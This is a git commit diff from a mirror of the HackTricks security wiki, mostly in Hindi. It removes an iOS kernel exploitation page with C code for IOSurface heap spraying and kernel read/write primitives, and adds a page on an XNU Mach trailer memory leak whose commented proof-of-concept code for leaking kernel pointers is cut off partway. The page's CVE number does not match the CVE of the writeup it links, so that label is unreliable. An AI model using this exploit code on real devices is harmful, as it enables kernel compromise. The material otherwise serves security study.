mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/cache-deception/README.md', 'src/mobile-
This commit is contained in:
Translator
parent
e3a1042cd7
commit
54b04f6471
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -838,7 +838,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
||||
@ -1,207 +0,0 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
यह एक सारांश है [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) से, इसके अलावा इस तकनीक का उपयोग करके एक्सप्लॉइट के बारे में अधिक जानकारी [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) में मिल सकती है।
|
||||
|
||||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
iOS पर उपयोगकर्ता प्रक्रियाओं के लिए **वर्चुअल मेमोरी एड्रेस स्पेस** **0x0 से 0x8000000000** तक फैला हुआ है। हालाँकि, ये पते सीधे भौतिक मेमोरी से नहीं जुड़े होते। इसके बजाय, **कर्नेल** **पृष्ठ तालिकाओं** का उपयोग करके वर्चुअल पते को वास्तविक **भौतिक पते** में अनुवाद करता है।
|
||||
|
||||
#### Levels of Page Tables in iOS
|
||||
|
||||
पृष्ठ तालिकाएँ तीन स्तरों में पदानुक्रमित होती हैं:
|
||||
|
||||
1. **L1 Page Table (Level 1)**:
|
||||
* यहाँ प्रत्येक प्रविष्टि वर्चुअल मेमोरी की एक बड़ी रेंज का प्रतिनिधित्व करती है।
|
||||
* यह **0x1000000000 बाइट्स** (या **256 जीबी**) की वर्चुअल मेमोरी को कवर करती है।
|
||||
2. **L2 Page Table (Level 2)**:
|
||||
* यहाँ एक प्रविष्टि वर्चुअल मेमोरी के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 बाइट्स** (32 एमबी)।
|
||||
* यदि L1 प्रविष्टि पूरे क्षेत्र को स्वयं मानचित्रित नहीं कर सकती है, तो यह L2 तालिका की ओर इशारा कर सकती है।
|
||||
3. **L3 Page Table (Level 3)**:
|
||||
* यह सबसे बारीक स्तर है, जहाँ प्रत्येक प्रविष्टि एकल **4 KB** मेमोरी पृष्ठ को मानचित्रित करती है।
|
||||
* यदि अधिक बारीकी से नियंत्रण की आवश्यकता है, तो L2 प्रविष्टि L3 तालिका की ओर इशारा कर सकती है।
|
||||
|
||||
#### Mapping Virtual to Physical Memory
|
||||
|
||||
* **Direct Mapping (Block Mapping)**:
|
||||
* पृष्ठ तालिका में कुछ प्रविष्टियाँ सीधे **वर्चुअल पतों की एक रेंज** को भौतिक पतों की एक निरंतर रेंज से मानचित्रित करती हैं (जैसे एक शॉर्टकट)।
|
||||
* **Pointer to Child Page Table**:
|
||||
* यदि अधिक बारीकी से नियंत्रण की आवश्यकता है, तो एक स्तर (जैसे, L1) में एक प्रविष्टि अगले स्तर (जैसे, L2) में एक **बाल पृष्ठ तालिका** की ओर इशारा कर सकती है।
|
||||
|
||||
#### Example: Mapping a Virtual Address
|
||||
|
||||
मान लीजिए आप वर्चुअल पता **0x1000000000** तक पहुँचने की कोशिश करते हैं:
|
||||
|
||||
1. **L1 Table**:
|
||||
* कर्नेल इस वर्चुअल पते के लिए L1 पृष्ठ तालिका प्रविष्टि की जाँच करता है। यदि इसमें **L2 पृष्ठ तालिका की ओर इशारा करने वाला एक पॉइंटर** है, तो यह उस L2 तालिका पर जाता है।
|
||||
2. **L2 Table**:
|
||||
* कर्नेल अधिक विस्तृत मानचित्रण के लिए L2 पृष्ठ तालिका की जाँच करता है। यदि यह प्रविष्टि एक **L3 पृष्ठ तालिका** की ओर इशारा करती है, तो यह वहाँ आगे बढ़ता है।
|
||||
3. **L3 Table**:
|
||||
* कर्नेल अंतिम L3 प्रविष्टि को देखता है, जो वास्तविक मेमोरी पृष्ठ के **भौतिक पते** की ओर इशारा करती है।
|
||||
|
||||
#### Example of Address Mapping
|
||||
|
||||
यदि आप भौतिक पता **0x800004000** को L2 तालिका के पहले इंडेक्स में लिखते हैं, तो:
|
||||
|
||||
* वर्चुअल पते **0x1000000000** से **0x1002000000** भौतिक पतों **0x800004000** से **0x802004000** तक मानचित्रित होते हैं।
|
||||
* यह L2 स्तर पर एक **ब्लॉक मैपिंग** है।
|
||||
|
||||
वैकल्पिक रूप से, यदि L2 प्रविष्टि L3 तालिका की ओर इशारा करती है:
|
||||
|
||||
* वर्चुअल पता रेंज **0x1000000000 -> 0x1002000000** में प्रत्येक 4 KB पृष्ठ L3 तालिका में व्यक्तिगत प्रविष्टियों द्वारा मानचित्रित किया जाएगा।
|
||||
|
||||
### Physical use-after-free
|
||||
|
||||
एक **भौतिक उपयोग-के-बाद-फ्री** (UAF) तब होता है जब:
|
||||
|
||||
1. एक प्रक्रिया कुछ मेमोरी को **पढ़ने योग्य और लिखने योग्य** के रूप में **आवंटित** करती है।
|
||||
2. **पृष्ठ तालिकाएँ** इस मेमोरी को एक विशिष्ट भौतिक पते से मानचित्रित करने के लिए अपडेट की जाती हैं जिसे प्रक्रिया एक्सेस कर सकती है।
|
||||
3. प्रक्रिया **डिऑलकेट्स** (फ्री) मेमोरी।
|
||||
4. हालाँकि, एक **बग** के कारण, कर्नेल पृष्ठ तालिकाओं से मानचित्रण को **हटाना भूल जाता है**, हालाँकि यह संबंधित भौतिक मेमोरी को फ्री के रूप में चिह्नित करता है।
|
||||
5. कर्नेल फिर इस "फ्री" भौतिक मेमोरी को अन्य उद्देश्यों के लिए **फिर से आवंटित** कर सकता है, जैसे **कर्नेल डेटा**।
|
||||
6. चूंकि मानचित्रण को नहीं हटाया गया था, प्रक्रिया अभी भी इस भौतिक मेमोरी को **पढ़ने और लिखने** में सक्षम है।
|
||||
|
||||
इसका मतलब है कि प्रक्रिया **कर्नेल मेमोरी के पृष्ठों** तक पहुँच सकती है, जिसमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे एक हमलावर को **कर्नेल मेमोरी में हेरफेर** करने की अनुमति मिलती है।
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
|
||||
चूंकि हमलावर यह नियंत्रित नहीं कर सकता कि कौन से विशेष कर्नेल पृष्ठ फ्री की गई मेमोरी में आवंटित किए जाएंगे, वे एक तकनीक का उपयोग करते हैं जिसे **हीप स्प्रे** कहा जाता है:
|
||||
|
||||
1. हमलावर कर्नेल मेमोरी में **IOSurface ऑब्जेक्ट्स** की एक बड़ी संख्या बनाता है।
|
||||
2. प्रत्येक IOSurface ऑब्जेक्ट में इसके एक क्षेत्र में एक **जादुई मान** होता है, जिससे इसे पहचानना आसान होता है।
|
||||
3. वे **फ्री किए गए पृष्ठों को स्कैन** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface ऑब्जेक्ट फ्री किए गए पृष्ठ पर उतरा है।
|
||||
4. जब वे एक फ्री किए गए पृष्ठ पर एक IOSurface ऑब्जेक्ट पाते हैं, तो वे इसका उपयोग **कर्नेल मेमोरी को पढ़ने और लिखने** के लिए कर सकते हैं।
|
||||
|
||||
इस बारे में अधिक जानकारी [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) में है।
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: हमलावर एक विशेष पहचानकर्ता ("जादुई मान") के साथ कई IOSurface ऑब्जेक्ट्स बनाता है।
|
||||
2. **Scan Freed Pages**: वे जांचते हैं कि क्या इनमें से कोई ऑब्जेक्ट फ्री किए गए पृष्ठ पर आवंटित किया गया है।
|
||||
3. **Read/Write Kernel Memory**: IOSurface ऑब्जेक्ट में क्षेत्रों में हेरफेर करके, वे कर्नेल मेमोरी में **मनमाने पढ़ने और लिखने** की क्षमता प्राप्त करते हैं। इससे उन्हें:
|
||||
* एक क्षेत्र का उपयोग करके कर्नेल मेमोरी में **किसी भी 32-बिट मान** को पढ़ने की अनुमति मिलती है।
|
||||
* दूसरे क्षेत्र का उपयोग करके **64-बिट मान** लिखने की अनुमति मिलती है, जिससे एक स्थिर **कर्नेल पढ़ने/लिखने की प्राइमिटिव** प्राप्त होती है।
|
||||
|
||||
IOSURFACE_MAGIC जादुई मान के साथ IOSurface ऑब्जेक्ट्स उत्पन्न करें ताकि बाद में खोजा जा सके:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
**`IOSurface`** ऑब्जेक्ट्स को एक मुक्त भौतिक पृष्ठ में खोजें:
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### IOSurface के साथ Kernel Read/Write प्राप्त करना
|
||||
|
||||
Kernel मेमोरी में एक IOSurface ऑब्जेक्ट पर नियंत्रण प्राप्त करने के बाद (जो एक मुक्त भौतिक पृष्ठ से मैप किया गया है जो उपयोगकर्ता स्थान से सुलभ है), हम इसका उपयोग **मनमाने kernel पढ़ने और लिखने के संचालन** के लिए कर सकते हैं।
|
||||
|
||||
**IOSurface में प्रमुख फ़ील्ड्स**
|
||||
|
||||
IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फ़ील्ड्स हैं:
|
||||
|
||||
1. **उपयोग गणना पॉइंटर**: एक **32-बिट पढ़ने** की अनुमति देता है।
|
||||
2. **सूचीकृत टाइमस्टैम्प पॉइंटर**: एक **64-बिट लिखने** की अनुमति देता है।
|
||||
|
||||
इन पॉइंटर्स को ओवरराइट करके, हम उन्हें kernel मेमोरी में मनमाने पते पर पुनर्निर्देशित करते हैं, जिससे पढ़ने/लिखने की क्षमताएँ सक्षम होती हैं।
|
||||
|
||||
#### 32-बिट Kernel पढ़ना
|
||||
|
||||
पढ़ने के लिए:
|
||||
|
||||
1. **उपयोग गणना पॉइंटर** को लक्ष्य पते पर 0x14-बाइट ऑफसेट घटाकर पुनः लिखें।
|
||||
2. उस पते पर मान पढ़ने के लिए `get_use_count` विधि का उपयोग करें।
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-बिट कर्नेल लिखें
|
||||
|
||||
लिखने के लिए:
|
||||
|
||||
1. लक्षित पते पर **सूचीबद्ध टाइमस्टैम्प पॉइंटर** को ओवरराइट करें।
|
||||
2. 64-बिट मान लिखने के लिए `set_indexed_timestamp` विधि का उपयोग करें।
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: फ्री पेज फिर से उपयोग के लिए उपलब्ध हैं।
|
||||
2. **Spray IOSurface Objects**: कर्नेल मेमोरी में एक अद्वितीय "जादुई मान" के साथ कई IOSurface ऑब्जेक्ट्स आवंटित करें।
|
||||
3. **Identify Accessible IOSurface**: एक IOSurface को खोजें जो आपके द्वारा नियंत्रित एक फ्री पेज पर है।
|
||||
4. **Abuse Use-After-Free**: IOSurface ऑब्जेक्ट में पॉइंटर्स को संशोधित करें ताकि IOSurface विधियों के माध्यम से मनमाने **कर्नेल पढ़ने/लिखने** की अनुमति मिल सके।
|
||||
|
||||
इन प्राइमिटिव्स के साथ, एक्सप्लॉइट नियंत्रित **32-बिट पढ़ने** और **64-बिट लिखने** की कर्नेल मेमोरी तक पहुंच प्रदान करता है। आगे के जेलब्रेक चरणों में अधिक स्थिर पढ़ने/लिखने के प्राइमिटिव्स शामिल हो सकते हैं, जिन्हें अतिरिक्त सुरक्षा (जैसे, नए arm64e उपकरणों पर PPL) को बायपास करने की आवश्यकता हो सकती है।
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@ -0,0 +1,332 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## बग
|
||||
|
||||
You have a [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), लेकिन सारांश में:
|
||||
|
||||
हर Mach message जो kernel प्राप्त करता है, वह एक **"trailer"** के साथ समाप्त होता है: एक variable-length struct जिसमें metadata (seqno, sender token, audit token, context, access control data, labels...) होता है। kernel message buffer में हमेशा सबसे बड़े संभव trailer (MAX_TRAILER_SIZE) को आरक्षित करता है, पर **केवल कुछ fields को ही initialize** करता है, और बाद में **user-controlled receive options** के आधार पर यह तय करता है कि किस trailer size को return करना है।
|
||||
|
||||
These are the trailer relevant structs:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
} mach_msg_trailer_t;
|
||||
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
mach_port_seqno_t msgh_seqno;
|
||||
security_token_t msgh_sender;
|
||||
audit_token_t msgh_audit;
|
||||
mach_port_context_t msgh_context;
|
||||
int msgh_ad;
|
||||
msg_labels_t msgh_labels;
|
||||
} mach_msg_mac_trailer_t;
|
||||
|
||||
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
फिर, जब trailer object जेनरेट किया जाता है, केवल कुछ fields ही इनिशियलाइज़ किए जाते हैं, और max trailer size हमेशा रिज़र्व रहती है:
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
trailer->msgh_audit = current_thread()->task->audit_token;
|
||||
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
|
||||
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
फिर, उदाहरण के लिए, जब `mach_msg()` का उपयोग करके किसी mach message को पढ़ने की कोशिश की जाती है, तो संदेश में trailer जोड़ने के लिए `ipc_kmsg_add_trailer()` फ़ंक्शन को कॉल किया जाता है। इस फ़ंक्शन के अंदर tailer size की गणना की जाती है और कुछ अन्य trailer फ़ील्ड भरे जाते हैं:
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
}
|
||||
|
||||
trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
`option` पैरामीटर उपयोगकर्ता-नियंत्रित है, इसलिए **ऐसा मान देना आवश्यक है जो `if` चेक को पास करे।**
|
||||
|
||||
इस चेक को पास करने के लिए हमें एक वैध समर्थित `option` भेजना होगा:
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
#define MACH_RCV_TRAILER_SENDER 2
|
||||
#define MACH_RCV_TRAILER_AUDIT 3
|
||||
#define MACH_RCV_TRAILER_CTX 4
|
||||
#define MACH_RCV_TRAILER_AV 7
|
||||
#define MACH_RCV_TRAILER_LABELS 8
|
||||
|
||||
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
लेकिन, क्योंकि `MACH_RCV_TRAILER_MASK` केवल बिट्स की जांच कर रहा है, हम `0` और `8` के बीच कोई भी मान पास कर सकते हैं ताकि `if` स्टेटमेंट के अंदर प्रवेश न हो।
|
||||
|
||||
फिर, कोड को आगे बढ़ाते हुए आप पाएँगे:
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* The ipc_kmsg_t holds a reference to the label of a label
|
||||
* handle, not the port. We must get a reference to the port
|
||||
* and a send right to copyout to the receiver.
|
||||
*/
|
||||
|
||||
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
|
||||
trailer->msgh_labels.sender = 0;
|
||||
}
|
||||
|
||||
done:
|
||||
#ifdef __arm64__
|
||||
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
#endif /* __arm64__ */
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Where you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
|
||||
|
||||
अगर आप ध्यान दें, **`msgh_ad`** अभी भी trailer का एकमात्र ऐसा फील्ड था जिसे पहले initialize नहीं किया गया था और जो पहले उपयोग की गई मेमोरी से कोई leak रख सकता था।
|
||||
|
||||
इसलिए, इसे initialize होने से रोकने का तरीका यह होगा कि `option` मान `5` या `6` पास किया जाए, ताकि यह पहले `if` चेक को पास कर ले और उस `if` में न जाए जो `msgh_ad` को initialize करता है, क्योंकि मान `5` और `6` का कोई trailer type जुड़ा नहीं होता।
|
||||
|
||||
### Basic PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), आपके पास एक PoC है जो कुछ random डेटा केवल leak करता है।
|
||||
|
||||
### Leak Kernel Address PoC
|
||||
|
||||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), आपके पास एक PoC है जो एक kernel address leak करता है। इसके लिए, संदेश में `mach_msg_port_descriptor_t` structs से भरा हुआ एक message भेजा जाता है क्योंकि इस structure का `name` field userland में एक unsigned int रखता है लेकिन kernel में `name` field एक struct `ipc_port` pointer होता है। इसलिए, इन structs की कई प्रतियाँ message में भेजने से kernel के कई addresses message के अंदर add हो जाएंगे ताकि उनमें से एक को leak किया जा सके।
|
||||
|
||||
बेहतर समझ के लिए टिप्पणियाँ जोड़ी गईं:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
// Number of OOL port descriptors in the "big" message.
|
||||
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
|
||||
#define LEAK_PORTS 50
|
||||
|
||||
// "Big" message: many descriptors → larger descriptor array in kmsg
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
|
||||
} message_big_t;
|
||||
|
||||
// "Small" message: fewer descriptors → leaves more room for the trailer
|
||||
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
|
||||
} message_small_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t port; // our local receive port (target of sends)
|
||||
mach_port_t sent_port; // the port whose kernel address we want to leak
|
||||
|
||||
/*
|
||||
* 1) Create a receive right and attach a send right so we can send to ourselves.
|
||||
* This gives us predictable control over ipc_kmsg allocations when we send.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
/*
|
||||
* 2) Create another receive port (sent_port). We'll reference this port
|
||||
* in OOL descriptors so the kernel stores pointers to its ipc_port
|
||||
* structure in the kmsg → those pointers are what we aim to leak.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
|
||||
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
printf("[*] Will get port %x address\n", sent_port);
|
||||
|
||||
message_big_t *big_message = NULL;
|
||||
message_small_t *small_message = NULL;
|
||||
|
||||
// Compute userland sizes of our message structs
|
||||
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
|
||||
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
|
||||
|
||||
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
|
||||
big_message = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
/*
|
||||
* 3) Prepare the "big" message:
|
||||
* - Complex bit set (has descriptors)
|
||||
* - 50 OOL port descriptors, all pointing to the same sent_port
|
||||
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
|
||||
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
|
||||
*/
|
||||
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
|
||||
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
|
||||
|
||||
big_message->header.msgh_remote_port = port; // send to our receive right
|
||||
big_message->header.msgh_size = big_size;
|
||||
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
big_message->body.msgh_descriptor_count = LEAK_PORTS;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS; i++) {
|
||||
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
|
||||
}
|
||||
|
||||
/*
|
||||
* 4) Prepare the "small" message:
|
||||
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
|
||||
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
|
||||
*/
|
||||
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
|
||||
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
small_message->header.msgh_remote_port = port;
|
||||
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS - 10; i++) {
|
||||
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
small_message->sent_ports[i].name = sent_port;
|
||||
}
|
||||
|
||||
/*
|
||||
* 5) Receive buffer for reading back messages with trailers.
|
||||
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
|
||||
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
|
||||
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
|
||||
*/
|
||||
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
|
||||
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
|
||||
|
||||
/*
|
||||
* ---------- Exploitation sequence ----------
|
||||
*
|
||||
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
|
||||
* kernel pointers (ipc_port*) in its descriptor array.
|
||||
*/
|
||||
printf("[*] Sending message 1\n");
|
||||
mach_msg(&big_message->header,
|
||||
MACH_SEND_MSG,
|
||||
big_size, // send size
|
||||
0, // no receive
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step B: Immediately receive/discard it with a zero-sized buffer.
|
||||
* This frees the kalloc chunk without copying descriptors back,
|
||||
* leaving the kernel pointers resident in freed memory (stale).
|
||||
*/
|
||||
printf("[*] Discarding message 1\n");
|
||||
mach_msg((mach_msg_header_t *)0,
|
||||
MACH_RCV_MSG, // try to receive
|
||||
0, // send size 0
|
||||
0, // recv size 0 (forces error/free path)
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
|
||||
* We slightly bump msgh_size by +4 so that when the kernel appends
|
||||
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
|
||||
